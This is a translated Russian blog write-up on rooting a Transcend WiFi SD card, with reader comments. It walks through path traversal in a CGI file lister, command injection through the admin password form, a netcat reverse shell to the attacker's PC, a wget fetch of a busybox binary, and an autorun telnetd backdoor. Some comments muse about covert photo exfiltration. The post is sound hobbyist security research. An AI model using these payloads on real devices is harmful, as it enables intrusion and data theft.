Пользователь
0,0
рейтинг
29 августа 2013 в 00:05

Разработка → Хакаем Transcend WiFi SDHC карту памяти перевод

Перевод немного вольный, но смысл не потерян. Я (переводчик) заинтересовался этой карточкой давно и почти сразу заказал её, сегодня забрал с почты и не могу нарадоваться, но хочется больше, чем дает Transcend, а карточка, между прочим, Linux сервер с WiFi! Очень много буковок.

С недавнего времени я стал счастливым обладателем карты памяти Transcend WiFi SD, которая позволяет мне передавать фотографии с моей «зеркалки» (которая вообще то Sony NEX, зато компактная) на любое устройство с WiFi за несколько секунд. А так как мне нравится делать фотографии и делиться с ними на лету, то SD карточка, умеющая без проводов передавать картинки на мой телефон, кажется прекрасным решением. И это было так! (хотя всё еще так). Мобильное приложение может… не, должно быть получше (зачем скачивать 7МБ картинку для просмотра, чтобы потом ЕЩЕ раз скачать её, нажав на «Скачать»?), но вообще оно делает своё дело!

Я был поражен, что столь малое устройство может хранить не только 16ГБ или даже 32ГБ, но еще и является встроенной системой, способной запускать приложения, включая веб сервер, общаться с другими устройствами через WiFi и даже создавать свою беспроводную сеть. Но хватит болтать: можем ли мы заставить это устройство делать больше?

Этот пост написан не только для собственно эксплоита, который позволяет получить root доступ (джейлбрейк), но так же расскажет о процессе исследования и нахождения багов, некоторые из которых просто тупики, а другие приводят к получению священного рута.

Готовимся к хаку


Изначально я предполагал что в карточке какой то встроенный Linux. Если это так, то расширить функционал скорее всего будет довольно просто! Но сперва надо бы взять контроль над системой в свои руки. До этого с этой карточкой я использовал только Android и iOS приложение, но было очевидно, что самый простой вариант общаться с ПК — это веб интерфейс. И следующая мысль немедленно посетила мою голову:
Если мобильные приложения такие хреновенькие, то и веб интерфейс не лучше… возможно он полон багов, которые можно использовать в своих интересах.

Как же я оказался прав!
Как только вы подсоединяетесь к веб интерфейсу (IP карточки 192.168.11.254 (у меня 253, но не суть), стандартный логин и пароль admin), вы испытываете такие же фиговые чувства, как при использовании мобильного приложения. Плохие «пользовательские ощущения», но хорошее «хакерское предвкушение». В то время как многие используют крутые инструменты для обнаружения уязвимостей, безопасность этой системы была на столько «ниочемной» что я мог найти баги, просто немного поковырявшись.

Меню «Files» выделяется среди других, и позволяет смотреть что есть на карте памяти. К сожалению, тут нельзя перейти в родительскую корневую папку карты памяти. Или позволяет? Это несомненно было бы полезно, так как вы сможем увидеть внутренности системы и получить больше информации о её работе а может быть и запустить какой нибудь код через веб интерфейс, если мы счастливчики. Мы заметили что ссылка «Parent Directory» указывает на URL(%2F это символ "/"):
192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww%2Fsd
Так что попробуем перейти в папку /www, через URL: 192.168.11.254/cgi-bin/file_list.pl?dir=%2Fwww
Но, не судьба. Попытки попасть в /, /bin, /etc или любую другую директорию провалились. Эх, :( не удача. Это было бы слишком просто! Что ж, оказывается это не очень то и сложно, так как программисты не особо заботились о безопасности. Попробуем зайти так ?dir=/www/sd/../.. вроде бы это должно быть тоже самое, что и просто /, и это сработало!

Ух, как же стыдно должно быть! Похоже что программисты сделали проверку, чтобы путь начинался с /www/sd, но не проверяют очевидный путь попадания в родительскую папку "../". Таким вот путем мы можем исследовать любые файлы системы. Конечно, нажатия на файлы не запускают их, а только скачивают, но это уже большое дело!

После ползания по файловой системе и скачивания скриптов, не стало сюрпризом, что система использует busybox, да и много файлов являются симлинками на busybox. Хотя не все из них, как например скрипты в папке /www/cgi-bin. И они то самые интересные, так как мы можем запускать их просто указывая ссылку в браузере.

Начнем хакание


Это всё выглядит многообещающе! Теперь, когда мы имеем доступ к внутренностям системы, не смотря на то что она в режиме «только для чтения», это дает нам огромное преимущество, так как мы можем изучать её работу и смотреть на баги и дырки :)
Хождение по скрипам, в поисках багов, которые можно использовать, не отняло много времени. Все они — это Perl скрипты. Perl имеет интересную особенность при открытии файлов через вызов open(), потому как это не только открывает файлы, но запускает программы если путь до файла не путь, а shell команда, заканчивающаяся «трубой» (pipe). Как например open("cat /etc/passwd |"). Другая особенность использования open() заключается в том, что мы можем записать в файл в любом месте или перезаписать существующий файл, так что мы можем написать свой собственный код и запустить его после этого. Давайте посмотрим, сможем ли мы использовать какие то файлы для этого.

Один файл меня заинтересовал, так как содержит вызов open() включающий пользовательскую переменную. kcard_upload.pl содержит следующее:


Вобще то этот файл вообще не используется в веб приложении! kcard_upload.pl скрыт от пользователей, но он всё еще есть и полностью доступен в cgi-bin директории. Мы можем запустить его через браузер. Это двойной facepalm: иметь дырявый скрипт, которые еще и не используется! Но сможем ли мы его приспособить для своих нужд?
Просматривая код kcard_upload.pl, я понял, что есть три проблемы делающие использования переменной $basename затруднительным.
Во первых, $basename на самом деле не прямой ввод пользователя, а является результатом вывода GetBasename($upfile). А вот $upfile передается пользователем (в данном случае хакером). А точнее, путь к файлу, который HTML форма запрашивает для загрузки. Но если мы подставим путь, то GetBasename вернет только имя файла на конце пути. Это делает переход по каталогам (как «хак» ../../ выше) невозможным.
Во вторых, значение в $basename переводится в верхний регистр, т.е. что бы мы не пихнули туда, всё будет изменено, что несколько усугубляет наши планы.
Третья проблема заключается в том, что скрипт kcard_upload.pl разрешает загружать только PNG, JPG, BMP и GIF файлы.
И это конец? Не тут то было!

Если посмотреть на код повнимательнее, то мы поймем, что хотя программисты и хотели таким способом ограничить загружаемые типы файлов, но они на самом деле проверяют только содержится ли расширение в названии файла, а не заканчивается ли файл на это самое расширение.

В дополнении, регулярное выражение на самом деле не проверяет символ точки, так как точка указывает на любой символ, кроме переноса строки. Точка должна была бы быть экранирована "\". Я предполагаю что программисты хотели написать /\.GIF$/, но написали только /.GIF/, таким образом мы можем обойти это ограничение, включив любой вариант из комбинации этих трех букв в любое место нашего пути, как например /hi/helPNGlo/asdf.something. Сложно назвать это неудобством!

Так как наш путь будет всегда преобразовываться в верхний регистр, возможно мы больше не сможем вызывать системные команды (большинство из них не в верхнем регистре), но может быть мы все еще можем загружать файлы, вставив таким образом наши собственные скрипты в систему. И нас в общем то и не волнует что имена этих скриптов будут написаны большими буквами.

Наконец, если вы помните, наш путь изменяется через GetBasename() до сохранения в переменной $basename. GetBasename() делить путь и берет только имя файла на конце. То есть /path/to/file.txt превратится просто в file.txt. Это плохо, потому как это больше не позволит нам манипулировать путем и вставлять что-то вроде "../../bin/our-malicious.script", так как это всегда будет заканчиваться на "our-malicious.script" и сохраняться в DCIM/198_WIFI/


И снова здрасте, код в GetBasename() содержит баг, который можно поэксплуатировать.
Код рассматривает два случая: пользователь вставляет путь в стиле windows с обратными слешами и пользователь вставляет путь с нормальными слешами (используется во всех OC кроме windows). Хотя правильнее сказать что такое поведение предполагается! А на самом же деле проверяется содержится ли в строке обратный слеш и тогда предполагается что это windows путь, так что строка делится обратными слешами. То есть на самом деле не проверяется состоит ли путь из обратной черты! Так что дадим следующий путь:
/эта/часть/пути/будет/вырезана\/этот/путь/будет/использоваться
Так как строка содержит обратный слеш, скрипт предполагает что это путь для windows, так что окончание пути на самом деле не окончание пути (не имя файла), а вообще то просто путь. В нашем примере путь будет /этот/путь/будет/использоваться

Вуаля! Путь вроде /PNG/something\/../../our-malicious.script пройдет все проверки и будет записан куда нам надо. Хорошие новости. А плохая новость — ничего из этого работать не будет. Упс! Потому как скрипт предполагает что ../DCIM/198_WIFI существует, но скрипт запущен из /www/cgi-bin, и это не так (правильный путь должен быть ../sd/DCIM/198_WIFI). Пичалька, ничего с этим не поделать. Этот баг зашит в скрипт. Разработчики и не должны были уделять внимание этому, ведь скрипт не предполагалось использовать (он скрыт, помните?). Похоже что это тупик, не смотря на все наши усилия. Может кто-то предложит другое инновационное решение.
(Кроме того, форма, выводящаяся kcard_upload.pl не вызывает саму себя, а вызывает бинарник с названием wifi_upload, так что мы должны были сделать HTTP POST запрос самостоятельно.)

Хакаем


Но постойте! Мы уже убедились что качество кода так себе, и еще куча багов может быть. На самом деле, я не буду рассматривать большинство из них. Есть и другие «тупики» на которые я натыкался и детально не описывал в этом посте. Я подробно расскажу об одном конкретном баге, который выделяется простотой использования.

Существует много способов вызова shell команды непосредственно из perl скрипта, и если разработчики подошли к этому легкомысленно, то возможно мы можем запускать собственные shell команды! Использование system() — это один из способов запуска shell кода в perl скрипте. Оказалось что system() используется довольно часто в .pl и .cgi файлах, но их аргументы зашиты в код, так что особо не попользоваться. Другой способ исполнения shell кода в perl — это использование qx{} выражения, но это вообще не используется. В любом случае, третий путь — это использование обратных кавычек вокруг кода, что эквивалентно использованию qx{}. И тут такого много, они подставляют данные, вводимые пользователем в их shell код. Замечательно! Т.е. их shell код смешивается с нашим вводом, так что это можно использовать для запуска нашего собственного кода.

Вот одна замечательная строчка в kcard_save_config_insup.pl, которая прям как подарок на Новый год:


Это выражение запускает любую команду, обозначенную в переменной $update_auth, с аргументами $LOGIN_USR и $LOGIN_PWD. Оба аргумента приходят напрямую из формы, то есть эти аргументы полностью подвластны нам. Никаких проверок на ввод не делается! Это форма, которая отображается когда вы заходите в веб интерфейс и нажимаете на «Settings». Вы можете получить к этому доступ прямо из строки браузера по адресу 192.168.11.254/kcard_edit_config_insup.pl. Это логин и пароль для админа. Это значит, что подбирая особый пароль, мы может выполнить код! Во-первых, пароль должен содержать точку с запятой, чтобы запустить новую shell команду после выполнения команды $update_path. Затем идет любой код, какой мы захотим. И наконец, пароль должен заканчиваться символом # (начало комментария), чтобы всё что идет после было игнорировано > /mnt/mtd/config/ia.passwd.

Это всё легко проверить, выбрав например такой пароль: admin; echo haxx > /tmp/hi.txt #
Форма, на самом деле, проводить некоторые здравые проверки и не допускает длинных паролей и странных символов. Учитывая тот факт, что проверки сделаны на javascript, а не на стороне сервера, мы можем очень просто их проигнорировать. Я использовал расширение для Chrome Form Editor чтобы избавиться от этой проблемы.

После отправки формы, мы легко можем убедится что эксплоит эффективен, зайдя в папку /tmp используя хаки, что описаны выше. Мы даже можем скачать файл и проверить что его содержимое верное.


Не забудте восстановить ваш пароль «admin», иначе придется сбрасывать настройки после использования этой дыры. (восстановление не коснется ваших фотографий, вроде бы).

А где же root?


Теперь мы умеем не только читать любой файл в файловой системе, но еще и выполнять shell код и записывать в файлы. Тем не менее, у нас всё еще нет нормального доступа к системе.
Просматривая содержимое папки /usr/bin вы можем сказать, что там много полезностей для нас чтобы создать обратный shell: netcat (nc), telnet и другие. Обратный shell работает ожидая входящие соединения на определенный порт нашего компьютера, и имеет целевую систему, соединенную с ним, пока запущен shell который берет ввод с этого соединения и выводить всё через это соединение (простите, я сам запутался). Есть много путей сделать это, но самый простой — это использовать Netcat:
nc 192.168.11.11 1337 -e /bin/bash
Это заставит netcat подключится к нашему ПК (у которого IP 192.168.11.11) на порту 1337 и прокинуть bash через него. Естественно, чтобы запустить это, надо использовать дырку описанную выше, «изменяя» пароль на admin; nc 192.168.11.11 1337 -e /bin/bash #. И к сожалению это опять не работает. Так что попробуем другие трюки с telnet или еще каким софтом. Так почему же не работает? Симлинки для nc, telnet и другого в /usr/bin, и синтаксис команды верный! В общем эти инструменты были отключены в busybox который находится на нашей любимой SD карточке со встроенным Linux. Пичалька. Мы можем проверить это, попытавшись запустить telnet или netcat и перенаправив stdout и stderr в /tmp/hi.txt, вот такой командой: nc 192.168.11.11 1337 -e /bin/bash &> /tmp/hi.txt. Загрузив hi.txt, мы увидим в его содержимом: nc: applet not found, что означает отключенный nc. Вот ведь засада! Так что же, мы ограничены в запуске команд через эту дырявую форму и при этом не имеем сетевых утилит? Ну конечно же нет! :)

К счастью, wget используется некоторыми transcend-овыми скриптами, и эта утилита включена. И это позволит нам скачать нафаршированный busybox :))) Я слишком ленивый, чтобы собирать самостоятельно, так что я взял уже готовую сборку busybox с http://busybox.net/downloads/binaries/latest/, положил busybox-armv5l на мой локальный веб сервер и просто запустил wget 192.168.11.11/busybox-armv5l используя ту дырявую форму, чтобы загрузить это на карту памяти в /www/cgi-bin. А так же я выполнил chmod a+x /www/cgi-bin/busybox-armv5l чтобы быть наверняка уверенным, что он потом запустится.

Наконец то я получил свой удаленный shell! Мой компьютер слушает порт 1337 после запуска nc -vv -l 1337, и SD карточка открывает соединение на этот порт /www/cgi-bin/busybox-armv5l nc 192.168.11.11 1337 -e /bin/bash. А так как busybox имеет все утилиты, мы можем запустить /www/cgi-bin/busybox-armv5l команда через полученный shell чтобы получить доступ ко богатому набору команд! Для примера, /www/cgi-bin/busybox-armv5l id расскажет нам, что мы уже под root-ом!


Еще больше хакерства



В случае, если вы всё же забыли пароль и требуется восстановить его, вы можете сбросить настройки SD карты (есть специальная картинка, скидывающая настройки карты после перезагрузки). Но, вы можете восстановить пароль из-за крайне беспечной ошибке в одном из «скрытых» perl скриптов, а именно kcard_login.pl, который делает самую странную процедуру авторизации, когда либо существовавшую во вселенной. Она извлекает пароль из файла wsd.conf и затем предлагает через javascript коде проверить его на стороне пользовательского браузера. Да да, вы всё верно прочитали. Проверка сделана на javascript!


Это значит, что всё что вам нужно сделать для восстановления пароля это зайти на 192.168.11.254/cgi-bin/kcard_login.pl и посмотреть исходный код страницы. Пароль будет прямо там.

Лицорука!

А еще спасибо за дружелюбный хакерский бекдор



Один из скриптов (rcS.p rcS), который запускается при старте, автоматически выполняет autorun_fu.sh или autorun.sh если они есть в корне карты памяти. Это облегчит дальнейшее улучшение и взлом. Спасибо, Transcend!


У меня есть вот такой скрипт (с названием autorun.sh), вместе с busybox-armv5l в корне карты памяти, так что я могу просто заходить через telnet в систему:
cp /mnt/sd/busybox-armv5l /sbin/busybox
chmod a+x /sbin/busybox
/sbin/busybox telnetd -l /bin/bash &

Так что вы можете зайти на карточку сразу после включения и окончания загрузки:


Удачного хакинга!

Надеюсь перевод понравился, замечания и предложения пожалуйста в личку, никто не идеален. А еще рекомендую погуглить keyasic
Наверно будет не лишнем вставить рекламный ролик этой карты:
Перевод: Pablo
SovGVD @SovGVD
карма
59,2
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (238)

  • –11
    У меня нет такой карты памяти, но я почему то знаю, что на ней выполняется autorun.sh из корня и это вроде не баг.
    • +2
      Судя по коментам в коде, это для тестов, имхо перед выкатыванием на рынок, подобное надо убирать. И кстаии на сайте Transcend есть сорцы для этого устройства, но судя по всему демка от KeyASIC (busybox и несколько скриптов для загрузки файлов), а не то что именно на этой карте.
      Так же у PQI есть аналогичная железка на той же самой разработке от KeyASIC.
      • +8
        Не надо убирать подобное! Они же продажи себе повышают таким ;-)
      • +1
        На некоторых NAS'ах тоже есть подобная фишка, с автостартом файла из корня первого диска, и это прекрасно — например, на D-Link DNS-325 можно получить массу дополнительных фич.
        • +2
          Это для нас, гиков, прекрасно, а представте что можно другу такой файлик на флешку пихнуть… И смотреть каждую фотографию, сделанную на его фотик. Не безопасно в общем это всё, но возможности хорошо расширить можно.
          • +2
            Идеально — сделать в аппарате опцию «разрешить кастомный скрипт».
            Причем изначально выключенную, и что бы включить — вввести пароль, уникальный для каждого экземпляра устройства, указанный в документации/коробке.
            Эх. размечтался…
            • +3
              Лучше пароль, который можно получить в интернете по серийнику, при чём его получение снимает с устройства гарантию :)
              • +1
                Что может быть лучше чем прошивка без ЭЦП и прочей тивоизации:
                www.fernjager.net/post-8/sdcard
              • 0
                Лучше пароль, который можно получить в интернете по серийнику

                ну как вариант, почему нет то.

                , при чём его получение снимает с устройства гарантию :)

                А вот это уже нафиг. Я например побалуюсь — и верну на место галку, и после этого производитель откажет мне в гарантийном ремонте чисто железячной части? Перебор, однако…

                • 0
                  Побаловавшись с прошивкой можно испортить устройство и аппаратно — например, включить мощность wifi-передатчика, на которую не рассчитано подведённое к нему питание.
                  • 0
                    Нет, понятно, что если убил железо в результате кривой прошивки — то да, сам виноват.
                    Нооооо, лишать гарантии на одном основании «возможности», этот как садить сразу всех покупателей охотничьих ружей — а вдруг не по куропаткам стрелять будут стрелять, а по людям?

                    Потому я и описал «в идеале бы». Производители в большинстве на этой не пойдут, т.к. придется тратить несколько бОльшее время, что бы понять — устройство померло из-за брака или по вине пользователя, а большее время на экспертизу — большие издержки и так далее.
                    • 0
                      Ну да, в идеале было бы хорошо. Но такая же ситуация даже с той же разборкой аппарата. Разобрал — лишился гарантии. Насколько аккуратно разбирал, по твоей ли вине сломалось, — никого не волнует. Ну разве что в случае заводского брака меняют по закону, насколько я помню.
  • 0
    Мне люто захотелось smb или что-то подобное на эту штуку прикрутить. Я пока не разобрался зачем… Но интересно, реально ли?
    • +5
      Всё реально, это же Linux. Я тоже хочу заняться и прикрутить rsync или ftp (стоит погуглить, уверен на 99% что уже сделал кто-то). Веб интерфейс невероятно убогий, а автослив на комп фоток (карта памяти может выступать не только точкой доступа, но и быть одним из устройств в сети, подключаясь к прописанный заранее точкам доступа), когда приходишь домой, был бы крайне полезен.
      + карта светит еще каким то портом (по мимо 80), видимо API для своей проги там находится.
      • НЛО прилетело и опубликовало эту надпись здесь
        • 0
          Что и требовалось доказать. Запуск шел команд при старте вообще дает неограниченные возможности. На выходных обязательно поковыряю. Можно еще больше расширить возможности, раскладывая фотографии по папкам с датами и RAW отдельно, JPEG отдельно, попутно делая превьюшки для видео (хотя это слишком долго на карте делать). В идеале хочу чтобы фотографии по приходу домой сразу улетали в NAS, в папку «разобрать потом» с датами, а дальше ручками удалять ненужное и перекачивать в основное хранилище с репликацией (у меня своеобразных програмный raid, где rsync копирует с одного харда на другой раз в сутки).
          • 0
            «неограниченные возможности»
            Если бы! Я бы туда ещё i2p роутер вкрутил, так ведь не потянет
            • 0
              Неограниченные в пределах разумного, хотя кто сказал что не потянет? Может и потянет, просто будет чудовищно медленно работать и/или падать периодически.
              • 0
                Памяти не хватит, я думаю.
                • 0
                  а кто мешает свап сделать?
                  • 0
                    Еще и память можно ужать (zram кажется).
                    • 0
                      Вот тут уже процессора не хватит =) zram то на десктопных всяких i5 не так шустро пашет, а тут вообще.
                    • +1
                      Кстати, заметил интересную вещь при работе карты — при записи на карту чего-либо с компьютера, внутренний линукс стопорится колом, в консоли пишутся что-то типа (0->4) и висит, пока не закончат работать с картой и он не перечитает новое содержимое.
                      • 0
                        А я-то думал, как там разделение доступа к «диску» устроено… А оно вон как — никак. Либо доступ снаружи, либо изнутри.
  • +3
    Даёшь lshw!
    • 0
      Не, ну правда — ткните носом, если уже запостили системные характеристики
  • +7
    ждем openwrt
  • +24
    Раньше мобильные, которые подслушивали, подкидывали. Теперь человеку можно подарить sd карту, которая будет все что на нее пишут скидывать на нужный сервер при нахождении свободной wifi точки. хм :)
    • 0
      Ага, только наклейку не забыть переклеить и тщательно прописать все возможные открытые и закрытые точки доступа в скрипте, включая домашнюю.
      • +1
        наклейка как раз не проблема. и открытые сети на то и открытые, что можно на линуксе с рутом их находить и подключаться без всяких предварительных тщательных прописываний.
        • +6
          А закрытые можно через Aircrack-ng пилить, ага. ;)
          • 0
            Ага, на этом-то проце, даа… Сто раз. Ещё reaver предложите.
            • +16
              Смайлика в конце фразы мало было? Может, ещё курсивом и красненьким выделить?
  • 0
    Если подумать, вариантов использования такой карты много. А учитывая, что это Transcend, то её можно использовать, не боясь за сохранность данных =)
    Можно, к примеру, использовать так — домашний сервак ночью перекодирует свежескачанные фильмы и сразу перекачивает их на смарт, спокойно лежащий на столике. Смартов с полноразмерным SD слотом немного, но та же Pandora подойдёт.
    • +2
      Э, а зачем тут флешка с WiFi? Я на рутованном андроиде поднял smbd, мне этого хватает…
      • 0
        Посоветуйте сервер нормальный.
      • 0
        А чтоб на фотик по самбе лазать. Вить есть ещё и фотики и на них нет андроида =)
        • 0
          В комментарии сверху речь шла о смартах. Для фотоаппаратов-то девайс годный, не спорю.
  • +21
    На выборах надо наблюдателям выдать. Чтобы сразу весь контент в сеть сливали.
    • +12
      Да. Это самый лучший из нативных вариантов использования. С фотика могут «попросить» стереть неугодные кадры, но будет уже поздно.
    • +1
      Дык давно уже можно без всяких заморочек: смартфон с синхронизацией в облако :)
      • 0
        Вопрос в качестве. Это позволит на хорошую камеру снимать, а потом да, на смарт и в облако.
        • +2
          Для поставленной задачи (фиксации нарушений) качества камеры нынешних смартфонов хватит выше крыши. Или вам обязательно RAW подавай? :)
  • +2
    было бы интересно подсуетить туда bittorrent sync)
    • –1
      по моему опыту использования синка под линуксом — 100% загрузки процессора после перезагрузки сервера. палево будет.
  • +1
    Для eye-fi кто ни будь видел что то похожее? Там веб интерфейса нет.
  • +4
    Интересно, она заведется, если просто подать 3.3 вольта на пины питания SD карточки? Немного помудрив, можно сделать подобное, только с блекджеком и… ну, вы поняли.

    Жаль контакты не получится как GPIO использовать… Можно было бы найти уйму применений. Авиамоделисты раскупали бы мешками.
    • 0
      Там uart должен быть. Надо расковырять такую флешку и посмотреть что там внутри.
      • 0
        Он-то теоретически может быть, но только для доступа к данным карты, никак не взаимодействуя с микро-пк внутри. Да и, помоему, стандарт SDHC уже не поддерживает доступ к данным по UART. (могу ошибаться)
        • 0
          На основных контактах — вряд ли, но пятачки внутри корпуса — почему бы и нет?
          • 0
            Вы представляете этот ад — припаяться туда? Да ну к черту =) Если в корпус карты памяти запхнули целый ПК, то каких же оно там должно быть размеров? У меня была флешка San Disk Cruizer Fit, 8 гиг внутри USB разъема. Там внутри страшно, поверьте.

            Хотя, по логике вещей, UART таки должен быть, просто для восстановления системы, как на всяких микро-роутерах.
            • +5
              Ну вот таких примерно, не вижу особых проблем подпаяться, если контактные пятачки выведены.

              • +2
                Есть еще более замечательный девайс. Там вобще все шоколадно.
                (статья, фр. 3 части)
                • 0
                  Карточку, которую описывает автор выше, можно купить во многих лабазах, а где взять эту?
                  • +2
                    Не вижу большой проблемы.
                    • 0
                      Проблема лишь в том, что эту карточку я могу получить в течении полу часа, а второую в течении месяца и более :(((.

                      Но в любом случае спасибо!
                • 0
                  У меня такая карта! А есть ли для нее подобные хаки?
                  • 0
                    Эта карта сделанна на точно таком же железе что и Transcend, только вместе запаянного модуля памяти стоит слот для microSD. Могу предположить что PQI так же не загонялись с безопасностью, беря у keyasic разработку.
                    • +1
                      Да, действительно, сработало как часы. Положил 2 файла на сд карту, как описано здесь и все :–) FTP поднялся.
      • +6
        Вот раскрытая карточка, UART вроде как есть forum.openwrt.org/viewtopic.php?id=45820
        • +2
          Спасибо за ссылку! Для ленивых:

          1) UART есть, даже работает.
          2) Просто так при подаче питания карточка не заводится, нужен полноценный хост =( Пилят потихоньку новое ядро для обхода этого, пока с переменным успехом.
          3) Потребление тока — порядка 60-90 мА, зависит от режима.
          • 0
            Оу, таки будет отдельное ядро. Круто. Значит достучались до загрузчика. Надо слить, поглядеть какие у них результаты. Конечно, заставить работать без хоста — было бы очень круто.
            • +1
              Мне кажется всё на много проще. Судя по логам загрузки с openwrt.org там проблема в бутлоадере. Он без хоста не может найти карту и прочитать с неё загрузчик и тд. Загрузчик там u-boot. Надо его подпилить и будет счастье =)
              Обзаведусь своими экземплярами карточки — буду тоже пилить =)
              • +4
                Новый Vogue — теперь в SD!

                Сегодня вечерком куплю. Я теперь попрошаренее стал, чем с вогом :). Могу и дрова помучать :)
              • 0
                Интересно, дешёвый временный костыль можно сделать?
                • +1
                  А в чем проблема заюзать внешний контроллер, который выступит хостом?
                  Чего конкретно ждет карта? Инит-последовательности стандартной, для СД?
                  • 0
                    Камраден Odinokij_Kot тут habrahabr.ru/post/191742/#comment_6664572 высказал, что это мутит u-boot. Я могу предположить, что это механизм смены прошивки.
                    • 0
                      Я о другом. Все равно хост какой-то придется под нее делать, почему так важно ее стартануть без SD-хоста тогда?
                      Ну будет лишний канал связи с хост-платой.
                      • 0
                        Не, фишка в том, что можно типа сделать что только подал питание от акумуля, и она рулит уже каким-то устройством. Её slave-spi превращается в host, например…
                      • 0
                        Не путайте хост со слейвом. В SD-Host тут вставлена обычная sd-карта памяти на контроллере EN2683B и микросхеме памяти на 32 гига. На ней находятся линух и раздел с фотками.
                        А SD-Slave тут используется уже для общения с устройствами в которые вставлена карта и эмуляции sd-карты внутренним линуксом. Возможно этот интерфейс универсальный и переключается из слейва в хост. Тут и проблема можетт быть. Пока не вставили в устройство карту — слейв интерфейс переключается в мастер и загрузчик думает что у него 2 карты. У родной карты меняется имя и всё, загрузки нет.
                        • +1
                          Я и не путаю, про это и говорю. Со своего контроллера подать инит-последовательность ей, она будет считать что вставлена в устройство, слейв останется слейвом и будет дополнительным каналом связи карточки и внешней схемы.
                • +1
                  В кардридер воткнуть, который, в свою очередь, воткнут в компьютер с загруженной ОС, например.
                  • 0
                    Спасибо КЭП :)
              • 0
                нет ли случайно новостей, о загрузке карточки без хоста?
    • 0
      Было бы прикольно к нему прикрутить карликовый аккум из китайского МП3 плеера.
      Я не силен в электронике, поэтому вопрос, может глупый: какая сила тока требуется для работы карты? И где вы взяли инфу о 3.3В?
      • +1
        3.3 вольта, ЕМНИП, стандартное питание для карточек SD. Если уж девайс предназначен для того, чтобы тыкать его вместо обычной SD карты, то и напряжение питания должно быть стандартное.

        Аккумулятор прикрутить — дело не хитрое. Про потребляемый ток — тут уже вопрос, мерять надо. Могу предположить, что в режиме WiFi оно жрет как паровоз.

        Меня волнует вопрос, не стоит ли там какой-либо умный чип, определяющий, подключена ли карта к считывающему устройству (фотоаппарат), или микро-пк стартует как только появляется питание на соответвтвующих пинах.
        • 0
          Если даже и стоит умный чип, сделать простейшее считывающее устройство не особо сложно, там же обычный SPI.
          • 0
            AVR и в путь?
            • 0
              Надо автора попросить попробовать.

              image
              • +1
                Скривился от картинки…

                На самом деле можно просто найти некий пример девайса на AVR, который работает с SDHD (допустим делает обзор листинга файлов) и реализовать. Но ИМХО — это костыль. Равнозначно попробовать переделать ядро.

                Костыль потому, что вырастет энергопотребление.
                • 0
                  Ну что вы городите. Вот подтверждающие логи загрузки forum.openwrt.org/viewtopic.php?pid=211090#p211090
                  Возможно в u-boot со вставленной и вынутой картой внутренняя sd-карта меняет свой номер\адрес и в итоге имеем обломс. Возможно там sd-slave интерфейс универсальный и может работать как хост и как слейв. И в stand-alone он подымается как host, карта сдвигается на соседний номер и всё, загрузки нихт.
                  В общем куплю пару карт — поэкспериментирую.
                  • –2
                    Камраден, глянь мой ник! Свои, можно не выкать.

                    За инфу, спасибо!
                    • +1
                      Да я в курсе =) я обращаюсь ко всем просто =) а при личном Вы я его с большой буквы пишу =)
                      Ничё, замутим свою карту с карточными играми и продажными женщинами =) Я уже придумал схему автономного питания =)
                      • 0
                        Я уже придумал схему автономного питания =)


                        На пальцах расскажи
                        • 0
                          Дак из любого сотика ковырнуть микросхему зарядки\управления питанием литиевой батарейки и всё. Микруха обычно мелкая в корпусе so-8. Рулит зарядом батарейки и питанием устройства. А с неё уже и карту запитать.
                          • 0
                            Ее и так купить не проблема.
                            LTC4054, например, для li-ion аккумов.
                            • 0
                              Ну когда платок от сотиков валяется на запчасти куча, то можно и не покупать =)
                              • 0
                                хм… А это мысля

                                /me пошёл разгребать завалы старых сотовых
                          • 0
                            А… Да проще взять от вога акумуль, там уже контроллер заряда есть прямо в нём. Другое дело, я думал ты уже придумал как обломать убут
                            • 0
                              В воговском аккуме нет контроллера заряда, он на плате и очень плохой, батарейку оч быстро убивает.
                  • +1
                    Спасибо за объяснение. Моих знаний в этой области явно недостаточно, поэтому и городим =) Будет здорово если вы напишете статью на Хабр по итогу ваших изысканий.
                  • 0
                    Кстати, похоже, он как бы пытается читать «извне» данные, для загрузки.
                  • 0
                    Hit to stop: 0
                    Status 20200804
                    RCA0 24, RCA1 e6
                    ....reading program.bin
                    .................<mmc1>go 208000

                    mmc0: new SDHC card at address b368
                    mmcblk0: mmc0:b368 CAR 15.0 GiB

                    Видимо, действительно сдвигает. А ему разве нельзя без перепрошивки сказать, чтоб грузился с 0?
                    • 0
                      Я думаю можно, всё параметры загрузки лежат в переменных u-boot-а. Смотрятся от-туда командой printenv, меняется командой setenv.
                      • 0
                        Не думаю что так всё просто. Но параметры глянуть нужно будет стопудово
                • 0
                  Нечего тут кривиться. Я не предлагаю это как конечное решение. А попробовать — было бы интересно. Заведется тут — заведется и на отдельном чипе. Потребление? +5мА в режиме чтения и микроамперы в режиме ожидания? Сомневаюсь, что это существенно, даже для автономных устройств.

                  Про допиливание ядра/будтлоадера — согласен. Это лучше.
                  • 0
                    Я просто недолюбливаю ардуинку :). В остальном — полностью согласен.
                • 0
                  Еще бредовая мысль.

                  Берем ATMega8, три пина — на инит карты по SPI, еще два — припаиваем на UART, и имеем, грубо говоря, 16 GPIO пинов для наших нужд. Волки сыты, овцы целы.
                  • 0
                    Это не бредовая мысль — это верная мысль. Только зачем там ещё и UART? МОжно обойтись и без меги, просто контроллер GPIO на SPI :)))
                  • +2
                    GPIO есть и на процессоре, но надо его отпаять и посмотреть куда они размедены. Будут карты — сниму проц и погляжу что и куда. Найти бы ещё офф-даташиты на SoC от KeyASIC.
                    • +1
                      [sarkazm] я начинаю понимать почему ты не женат[/sarkazm]

                      Мне бы такое количество времени!
                      • 0
                        ты не поверишь, уже женат =) Просто «скучно жить на свете октябрёнку Пете» =)
                        А вообще я просто люблю эмбадед линукс =)
                        • 0
                          А вообще я просто люблю эмбадед линукс =)


                          По этоу я устроился работать разработчиком. Ща вкорячиваю в структуру OpenWRT самописный модуль ядра, чтобы уже целиком в системе жил.
              • +2
                Не перестаю удивляться ардуинщикам. Для любой, даже самой простой задачи, где достаточно микросхемки размером с ноготок и ценой <50 рублей, они упорно используют эту лопату.
                • 0
                  У этой лопаты может быть куча удобных входов/выходов, чтобы включать/выключать и моргать лампочками, что может быть полезно в будущем.
                  • +1
                    И в чём отличие от чистой AVR? Ничто не мешает оставить такие же выводы. В конкретно этой задаче ардуина рядом с маленькой SD картой выглядит просто смешно.
                    • +1
